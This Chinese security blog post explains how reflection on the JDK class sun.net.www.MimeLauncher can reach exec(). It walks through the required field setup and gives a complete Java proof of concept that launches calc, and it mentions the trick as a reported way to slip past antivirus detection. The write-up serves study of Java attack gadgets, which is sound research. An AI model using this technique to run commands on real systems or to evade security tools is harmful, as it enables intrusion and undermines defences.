『Java安全』利用反射调用MimeLauncher.run()触发RCE

该博客文章详细分析了Java中rt.jar内的sun.net.www.MimeLauncher类如何通过反射调用run()方法,从而可能引发远程代码执行(RCE)的安全风险。作者指出,关键在于构造MimeEntry、URLConnection、InputStream和设置特定的execPath。通过PoC代码展示了如何构造条件触发RCE,并提醒关注者关注相关安全问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

rt.jar内的sun.net.www.MimeLauncher类的run方法调用了exec

在这里插入图片描述
据说可以有效绕过某些免杀,下面分析一下调用过程

MimeLauncher

run()

在这里插入图片描述
首先:调用了this.m.getTempFileTemplate()方法,this.m是构造器传入的·MimeEntry类,getTempFileTemplate()方法返回了StringMimeEntry.tempFileNameTemplate
在这里插入图片描述
然后run()接着调用了this.getTempFileName(),入参是this.uc.getURL()和上面拿到的String,this.uc是构造器传入的URLConnection,所以这里是获取了连接的URL
在这里插入图片描述
this.getTempFileName()没什么限制,只有第二行这里要保证传入字符串必须存在%s否则substring方法是会报错的
在这里插入图片描述
接着run()下面调用了this.is.read(),this.is是传入的InputStream,要出这个while也很简单,只要保证read返回值<0即可,因此要重写一个read方法恒返回<0就行

在这里插入图片描述
后面就是一些字符串替换什么的了,然后直接执行this.execPath的命令
在这里插入图片描述

因此这个方法只涉及四个重要变量:

  1. 构造器传入MimeEntry:要求TempFileTemplate有一个%s
  2. 构造器传入URLConnection
  3. 构造器传入InputStream:要求重写read方法返回值 < 0
  4. this.execPath是待执行的命令

MimeLauncher()

类属性

在这里插入图片描述
看一下构造器,前三个是调用run必须的变量,后面两个没用到
在这里插入图片描述
这里对this.m.getLaunchString()进行了if判断,首先它获取了MimeEntry的command属性
在这里插入图片描述
然后这个MimeEntry的command属性必须是一个存在的文件才能返回true,而且此时this.execPath也就是待执行的命令会被MimeEntry.command所覆盖
在这里插入图片描述
这个方法涉及两个重要变量:

  1. 构造器传入MimeEntry:command属性必须是一个存在的文件
  2. this.execPath必须在构造器调用之后才能覆盖成待执行的命令

反射调用MimeLauncher.run()触发RCE

条件

总结一下:

  • MimeEntry:TempFileTemplate为%s、command为一个存在的文件路径
  • URLConnection:任意URL,即使只有协议头http://都可以
  • InputStream:重写read()方法返回 < 0
  • MimeLauncher:this.execPath是待执行命令

PoC

package MimeLauncherTest;

import sun.net.www.MimeEntry;
import java.net.URL;
import java.net.URLConnection;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Constructor;

public class ExecTest {
    public static void main(String[] args) throws Exception{

        String cmd = "cmd /c calc";

        MimeEntry mimeEntry = new MimeEntry("test");

        Class entryClass = Class.forName("sun.net.www.MimeEntry");

        Field tempFileTemplateField = entryClass.getDeclaredField("tempFileNameTemplate");
        tempFileTemplateField.setAccessible(true);
        tempFileTemplateField.set(mimeEntry, "%s");

        Field commandField = entryClass.getDeclaredField("command");
        commandField.setAccessible(true);
        commandField.set(mimeEntry, "C:\\Windows\\System32\\drivers\\etc\\hosts");

        URLConnection urlConnection = new URL("http://").openConnection();

        InputStream is = new InputStream() {
            @Override
            public int read() throws IOException {
                return -1;
            }
        };

        Class launcherClass = Class.forName("sun.net.www.MimeLauncher");

        Constructor mineLauncherConstructor = launcherClass.getDeclaredConstructor(MimeEntry.class, URLConnection.class, InputStream.class, String.class, String.class);
        mineLauncherConstructor.setAccessible(true);
        Thread mimeLauncher = (Thread) mineLauncherConstructor.newInstance(mimeEntry, urlConnection, is, "", "");

        Field execPathField = launcherClass.getDeclaredField("execPath");
        execPathField.setAccessible(true);
        execPathField.set(mimeLauncher, cmd);

        Method runMethod = launcherClass.getDeclaredMethod("run");
        runMethod.setAccessible(true);
        runMethod.invoke(mimeLauncher);

    }
}

在这里插入图片描述
因为创建了FileOutputStream,rce的同时会生成名称包含HJ的文件,详细逻辑可以在getTempFileName()查看(无伤大雅的小细节)

在这里插入图片描述

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/127555739
版权声明:本文为原创,转载时须注明出处及本声明

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值